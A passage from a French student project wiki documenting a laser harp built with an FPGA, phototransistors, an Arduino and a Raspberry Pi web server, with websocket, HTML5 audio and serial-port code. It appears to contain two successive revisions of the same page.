Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

[[Fichier:Envoiconstant.JPG]]

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

[[Fichier:Changementdetat.JPG]]

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

<pre>int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}</pre>

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
<pre>while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}</pre>

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

<pre>websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};</pre>

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.
==== Partie websocket et échange d'information ====
Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, dont le port série était mal configuré.

==== Connexion série coté RPi ====
Afin de lire sur la liaison séri du coté de RPi, nous avions écrit le code C suivant :
<pre>#include <stdio.h> /* Standard input/output definitions */
#include <string.h> /* String function definitions */
#include <unistd.h> /* UNIX standard function definitions */
#include <fcntl.h> /* File control definitions */
#include <errno.h> /* Error number definitions */
#include <termios.h> /* POSIX terminal control definitions */

// Lecture port série

typedef int serialPort;
serialPort SerialLib_open(const char * portPath);

int main(int argc, char **argv) {
serialPort p = SerialLib_open("/dev/ttyAMA0");
char buffer[1];
printf("ouverture reussi\n");

while(1){

printf("lecture d'un caractere\n");
read(p, buffer ,1);

printf("Message recu: %s \n",buffer);
}
return 0;
}

/**
* Ouverture du port
*
*
*/
serialPort SerialLib_open(const char * serialPortPath) {
int fd;

fd = open(serialPortPath, O_RDWR | O_NOCTTY);
if (fd == -1) {

printf("Could not open the serial port : %s - ", serialPortPath);
}else {
fcntl(fd, F_SETFL, 0);
}
return (serialPort)fd;
}
</pre>

Ce code, combiné avec le programme sur l'Arduino, était sensé permettre la réception d'un caractère sur le RPi et l'afficher sur la sortie standard sur RPi.
Nous avons eu beaucoup de problème à recevoir notre message avec ce code : en effet, pour une raison qui nous reste inconnue, le programme permet la réception des caractères voulus, mais sur une courte période de temps, puis après cette période, aucun caractère n'est reçu, que l'on relance le serveur ou l'arduino.

Le code d'exemple fournit, en revanche, fonctionne très bien et si utilisé en parallèle avec notre programme, permet le fonctionnement notre programme sans problème. Nous avons donc décidé d'utiliser le code d'exemple comme base :
<pre>
/*
* Test on serial device
*/

////
// Include files
////
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>

#include "serial.h"

////
// Constants
////
#define SERIAL_DEVICE "/dev/ttyACM0"

////
// Global variables
////

////
// Main function
////

int main(void){
int c=0;
int sd=serialOpen(SERIAL_DEVICE,SERIAL_BOTH);
serialConfig(sd,B9600);
if(write(sd,&c,sizeof(char))!=1){ perror("main.write"); exit(-1); }
int i;
for(i=0;i<8;i++){
if(read(sd,&c,sizeof(char))!=1){ perror("main.read"); exit(-1); }
printf("%02x\n",c);
}
serialClose(sd);
exit(0);
}
</pre>

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T13:22:29Z

Bcartier : /* Connexion série coté RPi */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

<pre>int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}</pre>

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
<pre>while(1){
int cpt;
bool boole;
